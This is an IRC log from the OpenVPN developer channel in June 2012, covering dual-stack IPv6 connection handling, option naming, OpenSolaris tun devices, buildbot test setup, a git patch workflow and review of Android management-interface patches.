[nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:55 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:41 * ecrist gives up 21:09 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 21:47 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:21 -!- trout is now known as const --- Day changed Wed Jun 06 2012 01:35 <@mattock> cron2: yes, the ubuntu ones, will fix that tomorrow 01:35 <@mattock> buildbot day 02:34 <+krzee> in the manual for 2.3 it still says: 02:34 <+krzee> " OpenVPN is tightly bound to the OpenSSL library, and derives much of its crypto capabilities from it." 02:35 -!- const is now known as variable 02:39 <@mattock> uh, should be fixed 02:41 <+krzee> ahh then webs behind 04:07 -!- variable [root@freebsd/developer/variable] has quit [Ping timeout: 245 seconds] 05:11 -!- variable [root@freebsd/developer/variable] has joined #openvpn-devel 09:58 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 10:00 < plaisthos> one question about the irc meetings, is there an official meeting on thursdays when no official meeting is announced or are there only the official meetings? 10:14 <@cron2> plaisthos: if it's announced, it's an official meeting. 10:15 <@cron2> if we meet without an announcement, it's just a friendly get-together to sort things out among friends :-) 10:15 < plaisthos> :) 10:16 <@cron2> I'm not sure we have a meeting tomorrow, haven't seen much from dazo and mattock recently... dazo is busy (and needs to commit your patches), mattock needs to do buildbot connectivity tests... and I'm likely to have to run to hospital to assist $wife in giving birth to $child#2 "any day now" :-) 10:31 < plaisthos> oh okay :) 11:09 < plaisthos> the resolve code of openvpn *may* be broken for dual stack remotes, but I have to dig a little deeper hwo the whole dns resolve handles hosts with multiple ips 11:10 < jamxNL> why are the environment variables named <LIBRARY>_LIBS instead of <LIBRARY>_LDFLAGS 11:11 < jamxNL> isn't that more common/clear/consistent ? 11:11 < jamxNL> you do have to use <LIBRARY>_CFLAGS 11:11 < jamxNL> i mean the variables used in ./configure 11:20 <+krzee> it seemed to me that different OS's handled the resolving differently for round-robin setups 11:20 <+krzee> linux handled it fine, but android did not 11:20 <+krzee> android would get an IP, and then never change 11:21 <+krzee> (in case that helps to know) 11:22 < plaisthos> android is probably closer to bsd as linux 11:22 < plaisthos> the bionc uses a lot of fbsd libc code iirc 11:22 <+krzee> interesting 11:22 <+krzee> i didnt bother with testing bsd because after android i saw that using round-robin wouldnt be good enough 11:22 < plaisthos> or other bsd for that matter 11:23 < plaisthos> the only real gpl component on android is the kernel 11:23 < plaisthos> from the README: Welcome to Bionic, Android's small and custom C library for the Android platform. 11:23 < plaisthos> Bionic is mainly a port of the BSD C library to our Linux kernel with the 11:23 < plaisthos> following additions/changes: 11:24 < plaisthos> and so on 11:24 <+krzee> hah cool 11:24 <+krzee> i wonder why they even started with the linux kernel then 11:24 -!- waldner [waldner@unaffiliated/waldner] has joined #openvpn-devel 11:25 <+krzee> im ure netbsd would have worked 11:25 < plaisthos> propbably better hardware support for the hardware in the telephones 11:26 < plaisthos> seems to be mainly netbsd/openbsd 11:26 < plaisthos> with wchar from freebsd :) 11:29 < plaisthos> krzee: I am not talking about round robin but dual stack like AAAA and A record 11:30 <+krzee> oh i can offer nothing to that line of conversation 11:30 < plaisthos> :) 11:30 < plaisthos> I have a bug report from a user that it does not work on Openvpn for Android 11:30 < plaisthos> so I took a short look into the code 11:31 <+krzee> ahh cool 11:31 <+krzee> heres some other things that dont work 11:32 <+krzee> with latest openvpn-settings, i couldnt run an --up script which runs fine when i call openvpn from commandline (which is fine, i just call it from command-line via init.d script) 11:32 <@cron2> plaisthos: I'm fairly sure the resolv.conf code is broken for dual-stacked servers. Right now it will just randomly select one. 11:32 <+krzee> android doesnt honor its resolv.conf 11:33 <+krzee> it uses prop like linux/bsd uses sysctl 11:33 <+krzee> so getprop / setprop 11:33 <+krzee> changing the resolv.conf does nada 11:33 <@cron2> plaisthos: openvpn does not do the "walk all IP addresses for the remote server" thing, and A+AAAA is just a variant of "walk all" 11:34 <@cron2> the whole "connect to a server using IPv6 transport" bit of code is new and somewhat rough ("could need some love" :) ) - wasn't me, though :-) 11:34 < plaisthos> cron2: I will propably look into the issue 11:35 < plaisthos> connecting to a ipv4/ipv6 server will become more and common 11:35 <+krzee> what about --remote and --remote6, that would be lazy 11:35 <+krzee> heh 11:36 < plaisthos> no 11:36 < plaisthos> that is the like the udp6 keyword which I found during my quick glance 11:36 <+krzee> ok but then you should have a way to force it to 1 only when desired 11:36 < plaisthos> and still have to figure out what that does 11:37 <+krzee> oh right, that forces 11:37 <+krzee> o_O 11:37 < plaisthos> yes 11:37 <+krzee> heheh 11:37 < plaisthos> but no udp4 11:37 <+krzee> proto udp… i wonder if that blocks ipv6 or not 11:37 < plaisthos> yeah 11:37 < plaisthos> a good question :) 11:38 < plaisthos> My idea would be udp/tcp to be ipv4/ipv6 and udp4 and upd6 to force 4 and 6 11:38 <+krzee> i was about to say that 11:38 < plaisthos> cron2: is that by that openvpn does not do the walk the all server dance or just not implemented? 11:40 <+krzee> looks like "udp6" does not exist in the 2.3 manual on the web 11:46 < plaisthos> yeah and I think this should be fixed *before* releasing the first official ipv6 version of openvpn 11:49 < plaisthos> and I don't want to put a ipv4 or ipv6 select button in my app :D 11:49 <+krzee> heheh 11:49 <+krzee> hey does your app allow importing a config file? 11:49 < plaisthos> yes 11:49 <+krzee> i <3 your app 11:49 <+krzee> ;] 11:49 < plaisthos> Thanks 11:50 <+krzee> too bad i need to wait to get ICS to see it 11:50 < plaisthos> :) 11:50 < plaisthos> I thought about porting it to earlierer version and requiring root for it 11:50 <+krzee> cyanogenmod 7 and up had built in ovpn support but couldnt import a config 11:51 <+krzee> so annoying that i setup ovpn without using that, even tho its there by default 11:51 < plaisthos> but I think it is not worth the effort 11:52 < plaisthos> I am parsing the config 11:52 < plaisthos> :) 11:52 < plaisthos> And found out that 11:52 < plaisthos> --<cert> 11:52 < plaisthos> [inline data] 11:52 < plaisthos> </cert> 11:52 < plaisthos> is valid :D 11:53 <+krzee> --<cert> 11:53 <+krzee> i know everythings allowed both ways and all… but lol 11:54 < plaisthos> If I am really bored I will port the protect from Android to normal linux :) 11:55 <+krzee> haha 11:59 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Quit: going] 12:13 <@cron2> plaisthos: it's "just not implemented yet", and the socket.c code is not for the faint of heart 12:15 <@cron2> plaisthos: the current code basically just picks one address of the array returned by getaddrinfo() (I think it did "by random" and nowadays does "the first"), with no failover - so if you want failover, you put two addresses in your openvpn.conf - which is not ideal for v4+v6 either, I know. 12:15 <@cron2> argh, he just left... 14:10 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 14:12 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:12 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:45 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 15:02 <@ecrist> heh, fork(cron2); 15:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 15:27 <@cron2> not yet... 16:04 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:04 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:20 <@ecrist> ping mattock... 17:20 -!- mode/#openvpn-devel [-o ecrist] by ecrist 21:28 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 21:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 21:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Jun 07 2012 04:13 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 04:35 -!- dazo_afk is now known as dazo 04:58 <@dazo> ecrist: sorry about that write-permission stuff .... I've fixed it now 04:58 * dazo is back from a short holiday 04:58 <@cron2> dazo: welcome back :-) 05:00 <@dazo> jamxNL: Regarding your question about the <LIBRARY>_LIBS vs <LIBRARY>_LDFLAGS, I'd send that question to the -devel list ... and I hope Alon will be in a good mood when seeing your question 05:03 <@dazo> cron2: thx! :) 05:04 <@dazo> regarding --proto ... (for general info) ... udp6 and tcp6-{client,server} will tackle both IPv4 and IPv6 addresses .... while udp and tcp-{client,server} will only do IPv4 addresses 05:07 <@cron2> dazo: mmmh. I find that all confusing, to be honest. Everybody else (if they have an option at all) seems to do "-4" for "force ipv4", "-6" for "force ipv6" and "no option" = "use whatever works" 05:07 <@dazo> cron2: agreed 05:08 <@cron2> I'm not sure if I like using "udp4" and "udp6" for that, or whether we'd want "--ipversion 4|6|prefer-4|prefer-6|system" or whatever 05:08 <@cron2> coupling udp/tcp with ipv4/ipv6 in the same option is... unusual 05:09 <@cron2> (I admit that I have not looked at the code in detail, so it might have been much easier implementationwise to do this way) 05:09 <@dazo> absolutely ... I'd like to see either (--ipv4|-4 and --ipv6|-6) or --ipversion as you describe ... the former is more kind of "standard" 05:10 * cron2 is fine with -4 and -6 05:10 <@cron2> just thinking aloud 05:14 <@dazo> I think this is only due to the implementation ... to not modify the "current" socket code 05:14 <@dazo> or rather, not change it too much 05:35 <@cron2> ummm 05:36 * cron2 remembers that the osol10 buildslave doesn't have t_client.rc setup yet... duh... 05:48 <@cron2> mmmmh, all those wonderful platforms... "--dev tun" fails on osol10 if there is already an OpenVPN instance running on tun0. "--dev tun3" works, though... 05:48 <@dazo> heh 05:49 * dazo wonders how many uses openvpn on Solaris ... 05:55 <@dazo> cron2: I'll hold off a push ... if you want to test the automation for osol10 06:12 <@dazo> "Publicly making fun of people is half the fun of open source programming. In fact, the real reason to eschew programming in closed environments is that you can't embarrass people in public." (Linux Torvalds) https://plus.google.com/111049168280159033135/posts/5YtkxtuRXTy 06:27 <@cron2> haha :) 06:27 <@cron2> dazo: please go and push. The t_client tests do not run automatically yet anyway, as I have no idea where to put what for that 06:28 <@cron2> the buildslave should dutifully compile everything, though :) 06:28 <@dazo> ah, okay 06:29 <@cron2> what I have now is t_client.rc + key sets for all my buildslaves that pass "make check" if run by *me* - next step is buildbot integration, but I'm lazy and let mattock figure that out :) 06:30 <@cron2> dazo: you could commit the polarssl version check patch from Alon (I just ACKed on the list as well), and with that, we should be "all green" now 06:31 <@vpnHelper> RSS Update - testtrac: build: do not support <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=9eb058556d3e550e9b811a3ddc30be66635d4221> 06:31 <@dazo> cron2: you mean that patch ^^^ 06:31 <@dazo> ;-) 06:32 <@cron2> that was quick indeed! 06:32 <@cron2> (does auto-starting buildbot after commit work these days?) 06:32 <@dazo> yeah, it should 06:33 <@dazo> I've not manually kicked off any builds lately, but see they happen 06:34 <@dazo> I'm pondering to apply the patches from Arne which I've acked ... 06:42 <@cron2> I have not mailed in an ACK because you already ACKed, but I'm fine with all of them (otherwise I would have protested) 06:46 <@dazo> :) 06:47 <@dazo> I'll look through them again, and see if they have some implications on the overall patchset 06:47 <@dazo> (considering patch order) 06:49 <@cron2> build just started, so unless you klicked, it auto-builds 06:55 <@dazo> I didn't pull any extra triggers at all :) 06:57 <@dazo> nah, Arne's patches which is ACKed looks independent ... so lets get them in :) 07:10 <@dazo> funny ... another issue with your t_client.sh stuff, cron2 .... 07:10 <@dazo> compare pre- and post-openvpn ifconfig + route...39c39 07:10 <@dazo> < 2001:470:de40:350::/64 dev wlan0 proto kernel metric 256 expires 77030sec 07:10 <@dazo> --- 07:10 <@dazo> > 2001:470:de40:350::/64 dev wlan0 proto kernel metric 256 expires 76967sec 07:11 <@dazo> you should probably filter out "expires (.*)sec" ... 07:13 <@vpnHelper> RSS Update - testtrac: Add the name of the context where option is not allowed to the error message. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=e656b995b44fab0b8290c6c2a4a73079b3f9813b> || Explain that route-nopull also causes the client to ignore dhcp options. <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=97235cc7077630004e11d6d44862c3bb7 07:18 <@cron2> dazo: actually I do... 07:18 <@cron2> ah 07:19 <@cron2> well, what I do is: 07:19 <@cron2> sed -e 's/expires [0-9]*sec // 07:19 <@cron2> ... which will not match if there is no blank at the end of "sec". Could you check this? 07:20 <@dazo> sure 07:24 <@cron2> (for the record: no, this piece of code is definitely not pretty... it's trying to work around major system and version incompatibilities in a portable shell code...) 07:26 <@dazo> that seems to work well 07:26 <@dazo> and I have entries in 'ip -6 route show' with expires at the end of the line 07:28 <@cron2> if you run "ip -o -6 route show", how do they look like (aka: "is there a number which is not sed-away'ed"?) 07:28 <@cron2> since we changed that to "-o" recently, which is "put everything in one line" 07:31 <@vpnHelper> RSS Update - tickets: #213: OpenVPN GUI on 64-bit Windows (registry issue) <https://community.openvpn.net/openvpn/ticket/213> 07:33 <@cron2> dazo: on a different tangent - do you have 5 minutes to explain git to me? 07:33 <@dazo> cron2: sure! 07:34 <@cron2> okay. I'm contemplating how to do the ipv6 gateway changes as a "patch set", with something like 3-4 individual patches. 07:34 <@cron2> now I understand things like "git commit" to commit each group of changes, "git format-patch" and "git-send-email" 07:35 <@cron2> what I'm not sure is how to handle feedback. Like: there's 4 commits in my tree, and I get feedback for patch 2 "please change the message to read 'ERROR: foo' not 'WARNING: foo'" 07:35 <@cron2> how's that done? 07:35 <@cron2> (I understand git-amend as far as "for the most recent commit" goes) 07:37 <@dazo> you can use git commit --amend to modify contents of committed files as well - you just need git add on the modified files, before the git commit --amend command ... however, the tricky thing here is that it only modifies the last commit 07:37 <@cron2> yeah, for "the last commit" I understand how to use it 07:37 <@cron2> but people seem to be able to produce new versions of "patch 3/8" and thus... 07:38 <@dazo> so what I usually do in those cases, is that I do a git checkout -b dev/my-patch-v2 $commit-to-be-changed .... and then do the git commit --amend stuff 07:38 <@dazo> then I do a git rebase $prev-branch ... which then might cause a conflict, but normally it doesn't 07:39 <@cron2> so in git log, after the rebase, will "my-patch" show up as one or two commits? 07:39 <@dazo> or instead of the git rebase, you can use: git cherry-pick ... and pull those other commits which were okay 07:39 <@dazo> it should appear as a single commit 07:39 <@cron2> ah 07:39 <@cron2> now I understood. You do the rebase in "branch-v-2", and the "v1 branch" will then be scrapped 07:40 <@dazo> if you add more patches in-between ... and you want them in between ... git rebase is not the way, as that will place your extra patches after the rebase 07:40 <@dazo> yeah, the v1 branch will still linger, but you can remove it when you're satisfied with v2 ... this way, you always have a backup 07:40 <@cron2> which makes sense - so in that case, you cherry-pick? 07:41 <@cron2> I need to learn to work more with branches :-) - in CVS, branches are major pain, and in git, doing things "in master" is not the way to go, I see :-) 07:41 <@dazo> I use both ... depending on my mood ... and if there's a lot of patches, I tend to do git rebase ... if it's one or two patches after, I might use git cherry-pick 07:41 <@cron2> ok, thanks. I'll give that a try 07:42 <@dazo> For each patch/patchset I submit ... I always check out the latest master ... and I delete the branches when the changed stuff is merged into master 07:42 <@cron2> there's stuff related to metric, lots of platform-dependend stuff, and I still haven't received a single response to my discussion mail... :-) 07:42 <@dazo> check out the latest master to a working branch, I meant 07:42 <@cron2> understood 07:43 * dazo goes to read cron2 07:43 <@dazo> 's TAP discussion 07:44 <@cron2> it's more a "get the feedback *now* instead of having to code everything twice" thing :) 07:44 <@dazo> yup :) 07:47 <@cron2> oh, hooray... just dug a bit deeper into the OpenSolaris code, and it does not even have provisions for dynamically allocating the next free tun device 07:47 <@cron2> it will either pick "tun0" if nothing is specified, or "tunX" if you pass a tun number 07:47 <@dazo> nice ... so it's a OS limitation, not openvpn issue 07:47 <@cron2> nah, it's openvpn 07:48 < ecrist> sup guys? 07:48 <@cron2> it's like "parse devname for a number, use that number to open /dev/tun%d, if that fails, give up" 07:48 <@dazo> ecrist: hey! 07:48 <@dazo> ecrist: saw you had push challenges ... I hope it's fixed for you now 07:49 <@cron2> (but on osol this is much more complicated than "just open a file in /dev", you need to open /dev/tun and do hardcore ioctl() stuff on it) 07:49 * ecrist looks 07:49 <@cron2> but I can fix that :-) 07:49 <@cron2> expecially this error message is annoyance... 07:49 <@cron2> Thu Jun 7 10:42:23 2012 Can't assign new interface: File exists (errno=17) 07:49 <@dazo> ahh, I see .... ioctl() is the worst thing in the *nix world 07:49 <@cron2> Thu Jun 7 10:42:23 2012 Exiting due to fatal error 07:49 <@cron2> "what?" 07:49 <@cron2> tun.c, about line 1736 07:50 <@cron2> ok... $wife's sister just arrived, need to go and eat cake now :) will be back 07:50 <@dazo> enjoy! 07:50 < ecrist> dazo: based on the email I saw, I'm gathering I should use the easy-rsa repo, and not the easy-rsa-old repo, correct? 07:50 <@dazo> ecrist: correct 07:51 < ecrist> ok, thanks! 08:01 <@dazo> Btw ... does anyone see this patch as a useful feature? 08:01 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/6378/focus=6435 08:01 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 08:02 < ecrist> dazo: I already mangle the version in my snapshots without such a feature. 08:03 < ecrist> might not be so easy for non-devs, but non-devs shouldn't really be building a custom version 08:03 <@dazo> ecrist: would that patch make your snapshots easier to maintain? 08:03 < ecrist> no 08:03 < ecrist> it's all already scripted 08:04 < ecrist> sed "s#define(PRODUCT_VERSION,\[.*\])#define\(PRODUCT_VERSION,\[2.x-testing-${GIT_REV}]\)\]#" > version.m4 08:04 <@dazo> oki ... btw ... now with a former patch, the git HEAD reference of the build tree is automatically built into openvpn, so you might not need that version mangling any more ... 08:05 <@dazo> http://www.fpaste.org/gjjE/raw/ 08:06 <@dazo> however, the version string itself is not modified ... so the generated tarballs will not have any specific version in it 08:07 < ecrist> that's why I'm doing the mangling, so it shows up properly in logs 08:16 <@dazo> fair enough 09:02 < ecrist> it would seem push "route-ipv6 0::0/0 2607:fc50:1001:5200::1" doesn't properly get used as IPv6 default route on windows 7 09:02 < ecrist> works like a charm on my Mac and freebsd boxes, though. 09:04 < ecrist> my win 7 box still wants to use a link local address 09:05 < ecrist> it appears to be trying to use the proper interface, but wrong address 09:06 < ecrist> crap, never mind me, this is 2.2.2 09:07 < ecrist> is there 2.3a build for windows? 09:13 <@dazo> ecrist: I believe mattock announced something some weeks ago 09:16 < ecrist> ok, I'll look in a bit 09:39 <@cron2> ecrist: yeah, mattock did. pushing route-ipv6 needs 2.3 :-) 09:40 <@cron2> you can do it with 2.2 on the client if you manually install the default route with a next hop of fe80::8 (!) from an --up script 09:40 <@cron2> (as the client doesn't actually need to understand IPv6 as long as it's configured externally - what comes in from the tun goes to the socket, and vice versa, without understanding anything about it) 09:42 < ecrist> ah 09:43 < ecrist> the only build I can find is one from January. does that sound right? 09:43 <@cron2> no, there should be one from April/June'ish 09:43 <@cron2> but the January one should work as well (not alpha1, though) 09:44 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:44 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 09:44 <@cron2> ecrist: ask that one :) 09:47 <@mattock_> meeting today? 09:48 <@cron2> you tell us :) 09:54 < ecrist> mattock_: where's the latest windows 2.3 build? 09:54 < ecrist> latest I can find is from january 09:56 <@cron2> Thu Jun 7 14:56:01 2012 open_tun: got dynamic interface 'tun1' 09:56 <@cron2> yay 09:57 <@mattock_> ecrist: 2.3-alpha1 is probably latest with properly signed drivers 09:58 <@mattock_> dazo: can you make it to the meeting if we have one? 09:58 <@mattock_> we could e.g. review some patches 10:00 <@cron2> gah 10:14 <@cron2> dazo: did it work out fine for you with t_client.sh and just removing the " " after "sec"? Then I'll send a patch for that as well... 10:21 <@dazo> cron2: yeah, it passed again then 10:21 <@dazo> I'm on a different network than last time ... so that's probably why it didn't trigger last time 10:21 <@cron2> the formatting of these lines is weird anyway... 10:22 <@cron2> iproute2 is all "well-defined grammar!" on input, but the output... 10:23 <@cron2> mmmh. --topology subnet broken for IPv4 on osol10. Which I find surprising since ISTR it worked at some point in the past (but that was on "RealSolaris") 10:26 < ecrist> it would be nice if the 2.3 windows gui would also list the assigned IPv6 address 10:26 <@dazo> d12fk: ^^^ 10:27 < ecrist> 2.3a windows client still doesn't seem to want to route ipv6 properly 10:29 < ecrist> wait, I'm pretty sure it's my fault 10:30 <@dazo> I think there is some IPv6 works needed for the new GUI .... the priv-sep patches to the GUI needs some fixes ... but I doubt that's put into 2.3-alpha, though 10:30 < ecrist> it's hard for my VPN server to route IPv6 to the internet if it doesn't have a default ipv6 gateway 10:30 < ecrist> :\ 10:31 < ecrist> one of you guys should fix that. lol 10:32 <@dazo> hahaha 10:33 < ecrist> it also, apparently help to have net.inet6.ip6.forwarding enabled 10:34 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 10:34 -!- mode/#openvpn-devel [+o andj] by ChanServ 10:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:46 <@cron2> ecrist: indeed :) 10:46 <@andj> hmm, my IRC bouncer's HD died, 10:47 <@andj> so I missed a few days :) 10:48 < ecrist> andj: do you need logs? 10:48 <@andj> nah, I'll be ok :) 10:48 <@andj> most of the important stuff is probably on the ML anyway 10:48 <@andj> but thanks for the offer 10:51 <@dazo> andj: it's been a quiet weekend and the other days, nothing that interesting 10:52 <@andj> It went down yesterday 21:45, so I think I didn't miss much :) 10:54 <@dazo> nope, not at all :) 10:54 * dazo actually thought andj had gone for holidays, or something like that :) 10:55 <@dazo> andj: would you be willing/able to review patch 7/8 and 8/8 from Arne Schwabe and have your say? 10:55 <@andj> hehe, I've been a little quiet lately, it's been busy both at work and at home 10:55 <@dazo> ahh, if you don't have time, that's all fine 10:55 <@andj> I'll take a peek 10:55 <@andj> eeuw unions 10:56 <@dazo> thx! it's the Android stuff ... but it requires some more eyes 10:56 <@dazo> hmmm ... yeah 11:02 <@andj> about 8/8: perhaps we should ask him to rename the management_query_user_pass function :) 11:03 <+krzee> the more i think about this android ICS vpn API the more i remember a bunch of us requesting something like that upstream 11:03 <+krzee> even through google people… remember that mattock? 11:03 <+krzee> i forwarded an email from you to a google guy through a friend 11:03 <+krzee> i wonder if that stuff had anything to do with them making that api 11:04 <+krzee> very cool stuff! 11:05 <@andj> yeah, I'm quite happy with that new API 11:06 <+krzee> same, it is so cool! 11:06 <+krzee> i i wonder if the scripting interface still runs as root 11:07 <+krzee> or if it never gives root to openvpn in the first place 11:07 <+krzee> im guessing the second 11:09 <@dazo> Without having looked to deep into this ... I believe OpenVPN in this case runs completely unprivileged 11:09 <+krzee> without having looked into it at all either, i think that is correct as well 11:09 <@dazo> iirc, all network settings (IP and routes) are passed via the fd 11:10 <+krzee> right, seems to be the point of the api really 11:10 <+krzee> which is fine, most users dont need client side scripts anyways 11:10 <+krzee> im just weird like that ;] 11:11 <@andj> dazo: that's right 11:14 <@dazo> d12fk: can you also please take a closer look at these android patches? maybe there's something here which you can also make better use of in your Windows GUI? ... ot 11:14 <@dazo> it's basically a service-pipe, but provided over the management interface instead 11:14 <@dazo> I would really like to see android and windows needs being covered as closely together as possible 11:15 <@dazo> d12fk: esp. patch 7/8 covers that part 11:24 <@andj> hmm, what does man_read do again? 11:25 <@dazo> isn't that doing reads from the management socket? 11:26 <@dazo> static int 11:26 <@dazo> man_read (struct management *man) 11:26 <@dazo> { 11:26 <@dazo> /* 11:26 <@dazo> * read command line from socket 11:26 <@andj> ah, I see what he's doing now 11:26 <@andj> eeuw 11:27 <@dazo> that comment just makes me need to look at the patch 11:29 <+krzee> <andj> hmm, what does man_read do again? 11:30 <+krzee> thats the command i give people in #openvpn every day 11:30 <+krzee> ;] 11:30 <@andj> hehe 11:30 <@andj> the thing is, basically, man_read now got modified to, in case of android, check whether what was read is an FD 11:30 <@dazo> (mgmt would probably be a better prefix for these man-prefixes) 11:31 <+krzee> woohoo! i agreed to do a friend in costa rica a favor and run some unix machines in his office for him… now he tells me he's getting fiber soon *winning* 11:31 <@andj> and if so, write it to   man->connection.lastfdreceived = fd; 11:33 <@dazo> uhmmm .... this sounds a bit confusing .... as you suddenly have potentially two interface sockets active ... 11:36 <@andj> no, that's ok I think 11:37 <@andj> There's still just the one 11:37 * dazo applies the patch to see the whole picture 11:37 <@andj> but the parsing of FD's passed through the socket is a little weird 11:37 <@andj> (that's 7/8 btw) 11:42 <@dazo> hmmm ... yeah, that FD passing is "interesting" .... 11:44 <@andj> and I added some comments to 8/8 too 11:46 <@dazo> thx! 11:49 <@dazo> andj: have you understood why he uses 'struct user_pass' to pass routing and other network parameters? 11:50 <@dazo> I see it does the job ... it just looks very odd 11:54 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving] 12:03 <@andj> yeah, that's what I thought, I though there might be a better option :) 12:04 <@dazo> andj: if there isn't a better way ... I'd rather like to see the user_pass stuff changed into a more generic solution, which management_query_user_pass() would use under the hood 12:30 <@mattock> krzee: yeah, I recall that 12:30 <+krzee> i know for sure it was relayed, i wonder if it had anything to do with the decision to build the vpn api 12:51 * cron2 feels like shit ("now after wife and grandma had the flu, they graciosly gave it to me")... and goes afk 12:51 <@andj> been there... get well soon 14:47 -!- dazo is now known as dazo_afk 15:10 <@andj> wow: http://arstechnica.com/security/2012/06/flame-crypto-breakthrough/ 15:10 <@vpnHelper> Title: Crypto breakthrough shows Flame was designed by world-class scientists | Ars Technica (at arstechnica.com) 15:23 <+krzee> wow is right 15:58 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 16:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:18 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 21:46 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:46 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 21:48 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 22:07 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:07 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 22:12 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 22:16 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:16 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 22:24 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 22:25 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:25 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 22:27 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Client Quit] 22:28 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 22:28 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Day changed Fri Jun 08 2012 02:08 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 02:08 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 02:08 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:32 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 02:42 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:42 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:47 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:47 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 02:47 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 03:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: mattock] 03:15 -!- dazo_afk is now known as dazo 03:42 <@dazo> andj: did you send your review comments from yesterday anywhere? 04:08 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:08 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:08 <@mattock> ah, finally 04:08 <@mattock> cron2: tests 1 and 2 on one buildslave working, had to add some delay 04:09 <@mattock> I'll do the same for other buildslaves and activate the "make check" step 04:16 <@dazo> mattock: can we please run 'make clean all' when doing the builds? 04:17 <@mattock> sure 04:17 <@dazo> I don't want compiler warnings to "disappear" if a commit doesn't change an already compiled file 04:17 <@mattock> ok, makes sense 04:17 <@mattock> I'll add that to buildmaster configuration as well 04:17 <@dazo> thx! 04:54 <@mattock> done 04:54 <@mattock> two buildslaves passed manual connectivity tests, testing using buildbot webui now 04:54 <@mattock> -> lunch 05:35 <@mattock> success \o/ 05:35 <@mattock> some compiler warnings, though 05:37 <@cron2> mattock: great news :) 05:38 <@mattock> yep, finally 05:38 <@mattock> I got two more buildslaves to go, then I'm done 05:38 <@mattock> no IPv6 checks, though... but better than nothing 05:39 <@mattock> having at least one Linux buildslave with IPv6 support would be nice 05:39 <@cron2> stop shying away from IPv6 :-) - there is nothing magic about IPv6 *payload*. 05:39 <@cron2> IPv6 transport isn't yet done on the server, so you have an excuse there 05:40 <@cron2> (and if a buildslave has no IPv6 connectivity, you obviously can't test that either) 06:08 <@mattock> ah, only payload 07:27 <@cron2> heh, first buildbot fail with t_client :-) 07:28 <@cron2> but that's good, it tells me where you put the key files. Can I name them any way I want, as long as it's referenced in t_client.rc? Or does it have to be "test-client.*"? 07:34 <@mattock> well, currently buildmaster copies keys to the build directory 07:34 <@mattock> but it wouldn't really have to, as t_client.rc can find them from anywhere 07:34 <@mattock> so, if you like, I can remove the key copying steps from buildbot configuration 07:35 <@mattock> I've pointed my own buildslaves (in t_client.rc) to /home/buildbot/<keyname> 